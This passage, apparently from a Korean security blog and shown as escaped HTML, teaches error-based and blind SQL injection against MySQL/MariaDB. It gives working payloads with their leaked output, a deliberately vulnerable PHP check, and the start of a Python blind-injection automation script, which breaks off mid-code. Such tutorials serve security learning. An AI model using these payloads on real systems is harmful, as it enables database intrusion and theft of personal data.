&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;32자 제한으로 인해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~user_number,name,age,address,ph&lt;/code&gt; 까지만 출력되었다. &lt;br /&gt; 나머지 칼럼명을 확인하기 위해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUBSTRING()&lt;/code&gt;을 사용한다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input: 010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=&apos;user&apos;), 32, 32))) -- 에러: XPATH syntax error: &apos;~one,email&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=&apos;user&apos;), 32, 32))) --&apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이로써 user 테이블의 전체 칼럼 목록 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_number&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;age&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;address&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;phone&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;email&lt;/code&gt;)을 확인할 수 있다.&lt;/p&gt; &lt;ol&gt; &lt;li&gt;칼럼까지 모두 확인했다면, 이제 공격자는 원하는 데이터를 추출할 수 있다.&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input: 010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(name, &apos;:&apos;, email) FROM user LIMIT 0,1))) -- expected: 에러 메시지에 user 테이블의 첫 번째 행의 name, email 데이터가 출력된다. 에러: XPATH syntax error: &apos;~hong gil dong:gildong@test.com&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(name, &apos;:&apos;, email) FROM user LIMIT 0,1))) --&apos; input: 010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(name, &apos;:&apos;, email) FROM user LIMIT 1,1))) -- 에러: XPATH syntax error: &apos;~lee sun shin:sshLee@googletest.&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(name, &apos;:&apos;, email) FROM user LIMIT 1,1))) --&apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;32자 제한으로 인해 데이터가 잘릴 경우, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUBSTRING()&lt;/code&gt;을 함께 사용하여 나머지 데이터를 확인한다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input: 010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING((SELECT CONCAT(name, &apos;:&apos;, email) FROM user LIMIT 1,1), 32, 32))) -- 에러: XPATH syntax error: &apos;~com&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING((SELECT CONCAT(name, &apos;:&apos;, email) FROM user LIMIT 1,1), 32, 32))) --&apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이렇게 Error Based SQL Injection은 에러 메시지를 통해 데이터를 한 조각씩 추출하는 방식으로, UNION SQL Injection과 동일한 정보를 획득할 수 있다.&lt;/p&gt; &lt;h4 id=&quot;updatexml&quot;&gt;UPDATEXML()&lt;/h4&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXTRACTVALUE()&lt;/code&gt;와 동일한 원리로, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UPDATEXML()&lt;/code&gt; 함수도 Error Based SQL Injection에 활용할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;UPDATEXML&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xml_doc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xpath_expr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;input: 010-1111-2222&apos; AND UPDATEXML(1, CONCAT(0x7e, database()), 1) -- 에러: XPATH syntax error: &apos;~testdb&apos; 실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = &apos;010-1111-2222&apos; AND UPDATEXML(1, CONCAT(0x7e, database()), 1) --&apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXTRACTVALUE()&lt;/code&gt;와 마찬가지로 32자 제한이 동일하게 적용되며, 사용 방법도 동일하다. &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXTRACTVALUE()&lt;/code&gt;가 필터링되는 환경에서 대체 수단으로 활용할 수 있다.&lt;/p&gt; &lt;h3 id=&quot;blind-sql-injection&quot;&gt;Blind SQL Injection&lt;/h3&gt; &lt;p&gt;Blind SQL Injection은 쿼리 결과가 화면에 직접 출력되지 않거나, 에러 메시지도 출력되지 않는 경우에 사용되는 기법이다. (단순히 쿼리 결과에 대한 참/거짓만 알 수 있는 경우)&lt;/p&gt; &lt;p&gt;예를 들어서, 아이디 중복조회 기능에서 SQL Injection이 가능하다고 가정해 보자. 이 경우, 우리는 아이디가 중복인지 아닌지에 대한 참/거짓 정보만 알 수 있다.&lt;/p&gt; &lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;SELECT EXISTS(SELECT 1 FROM logindata WHERE id = &apos;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&apos;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mysqli_query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mysqli_fetch_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;이미 존재하는 아이디입니다.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;사용 가능한 아이디입니다.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이러한 곳에서 위 BLIND SQL Injection, ERROR Based SQL Injection 공격을 사용할 경우, 실제 결과 값을 웹에 출력하지 않으므로, 공격자는 쿼리 결과에 대한 데이터를 추출할 수 없다. &lt;br /&gt; 따라서, 공격자는 참/거짓 결과를 이용해 데이터를 한 글자씩 추출하는 방식을 사용해야 한다.&lt;/p&gt; &lt;p&gt;한 글자씩 어떻게 추출할 수 있을까?&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT DATABASE()&lt;/code&gt; 함수의 결과가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testdb&lt;/code&gt; 라고 가정해 보자.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT SUBSTRING(DATABASE(), 1, 1)&lt;/code&gt; 를 사용하면, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testdb&lt;/code&gt;의 첫 번째 글자 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t&lt;/code&gt;를 얻을 수 있다. &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUBSTRING&lt;/code&gt; 대신, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MID&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUBSTR&lt;/code&gt; 등의 함수도 사용할 수 있다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUBSTRING&lt;/code&gt; 함수를 이용해, 한 글자씩 노가다를 해야 한다. &lt;ul&gt; &lt;li&gt;SELECT DATABASE의 첫 번째 글자가 ‘a’ 입니까? (참/거짓) &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT SUBSTRING(DATABASE(), 1, 1) = &apos;a&apos;&lt;/code&gt; → 거짓&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;SELECT DATABASE의 첫 번째 글자가 ‘b’ 입니까? (참/거짓) &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT SUBSTRING(DATABASE(), 1, 1) = &apos;b&apos;&lt;/code&gt; → 거짓&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;SELECT DATABASE의 첫 번째 글자가 ‘c’ 입니까? (참/거짓) &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT SUBSTRING(DATABASE(), 1, 1) = &apos;c&apos;&lt;/code&gt; → 거짓&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;…&lt;/li&gt; &lt;li&gt;SELECT DATABASE의 첫 번째 글자가 ‘t’ 입니까? (참/거짓) &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT SUBSTRING(DATABASE(), 1, 1) = &apos;t&apos;&lt;/code&gt; → 참!&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;이렇게 해서 첫 번째 글자 ‘t’를 알아냈다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;동일한 방법으로 두 번째 글자, 세 번째 글자도 알아낼 수 있다.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;하지만 이 방법은 너무 느리고 비효율적이다. &lt;br /&gt; 따라서, 이진 탐색(Binary Search) 기법을 사용하여 글자를 추출할 수 있다. &lt;br /&gt; 글자를 ASCII 코드 값으로 변환하여, 특정 범위 내에 있는지 확인하는 방식이다.&lt;/p&gt; &lt;pre&gt;&lt;code class=&quot;language-SQL&quot;&gt;-- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 64보다 큰가? ASCII(SUBSTRING(DATABASE(), 1, 1)) &amp;gt; 64 -- &apos;t&apos; = 116이므로 116 &amp;gt; 64 → 참 -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 96보다 큰가? ASCII(SUBSTRING(DATABASE(), 1, 1)) &amp;gt; 96 -- &apos;t&apos; = 116이므로 116 &amp;gt; 96 → 참 -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 112보다 큰가? ASCII(SUBSTRING(DATABASE(), 1, 1)) &amp;gt; 112 -- &apos;t&apos; = 116이므로 116 &amp;gt; 112 → 참 -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 120보다 큰가? ASCII(SUBSTRING(DATABASE(), 1, 1)) &amp;gt; 120 -- &apos;t&apos; = 116이므로 116 &amp;gt; 120 → 거짓 (113,114,115,116,117,118,119) -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 116보다 큰가? ASCII(SUBSTRING(DATABASE(), 1, 1)) &amp;gt; 116 -- &apos;t&apos; = 116이므로 116 &amp;gt; 116 → 거짓 (113,114,115,116) -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 114보다 큰가? ASCII(SUBSTRING(DATABASE(), 1, 1)) &amp;gt; 114 -- &apos;t&apos; = 116이므로 116 &amp;gt; 114 → 참 (115,116) -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 115인가? ASCII(SUBSTRING(DATABASE(), 1, 1)) == 115 -- &apos;t&apos; = 116이므로 116 == 115 → 거짓 (116) -- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 116인가? ASCII(SUBSTRING(DATABASE(), 1, 1)) == 116 -- &apos;t&apos; = 116이므로 116 == 116 → 참 &lt;/code&gt;&lt;/pre&gt; &lt;p&gt;첫 번째 글자 ‘t’를 알아냈다. &lt;br /&gt; 동일한 방법으로 두 번째 글자, 세 번째 글자도 알아낼 수 있다.&lt;/p&gt; &lt;p&gt;위와 같은 방식으로, Blind SQL Injection을 통해 &lt;br /&gt; 데이터베이스 이름, 테이블 목록, 칼럼 목록, 데이터 값 등을 한 글자씩 추출할 수 있다.&lt;/p&gt; &lt;p&gt;블라인드 SQL 인젝션 공격은, 사람의 손으로 하기에는 너무 느리고 비효율적이다. &lt;br /&gt; 따라서, 자동화 스크립트를 작성하여 공격하는 것이 일반적이다.&lt;/p&gt; &lt;p&gt;필자도, 학습 용도로 사용할 수 있는 간단한 Blind SQL Injection 자동화 스크립트를 작성해 보았다. &lt;br /&gt; 아래 코드는 Python3으로 작성되었으며, MySQL / MariaDB 데이터베이스를 대상으로 한다.&lt;/p&gt; &lt;p&gt;ASCII 및 한글, 이모지 등을 추출할 수 있도록 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CONV(HEX(CONVERT(...)))&lt;/code&gt; 방식을 사용하였다. &lt;br /&gt; 특히, 요즘에는 AI를 활용해 자동화 공격 스크립트를 간단하게 만들어낼 수 있으므로, 이러한 공격에 더욱 주의해야 한다.&lt;/p&gt; &lt;div class=&quot;language-py highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python3 &lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# SELECT ASCII(SUBSTR(&apos;test&apos;, 1,1)) # (SELECT COUNT((select database()))) &lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# select ORD(SUBSTR(&apos;안녕😀&apos;, 3, 1)); -&amp;gt; 약 41억, 그냥 signed int 최대값인 4294967295 로 계산해도 될 듯 하다. # select ORD(SUBSTR((select &apos;안녕😀 hello&apos;),3,1)); # select ORD(SUBSTR((sele))) # 실제 최대 값은 4103061439 (0x10FFFF) 으로, 유니코드 최대 값이다. #select CONV(HEX(CONVERT(SUBSTR(&apos;안녕😀&apos;, 1, 1) USING ucs2)), 16, 10); &lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 주의, 이 스크립트는 MySQL / MariaDB 의 Blind SQL Injection 공격 학습 및 모의 해킹 테스트 용도로 제작되었습니다. # 그 외 공격에 이 스크립트를 사용할 경우, 법적 책임은 전적으로 사용자에게 있습니다. &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TOTAL_REQUESTS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_point&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TOTAL_REQUESTS&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 공격 대상 URL &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;URL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;HACKING URL&amp;gt;&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 공격 헤더 &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Blind SQL Injection 페이로드 &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;testuser&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; and (&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;) and &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# testuser&apos; and (SELECT LENGTH(DATABASE()) &amp;lt; 64) and &apos;1&apos;=&apos;1 &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;URL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;allow_redirects&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TOTAL_REQUESTS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span 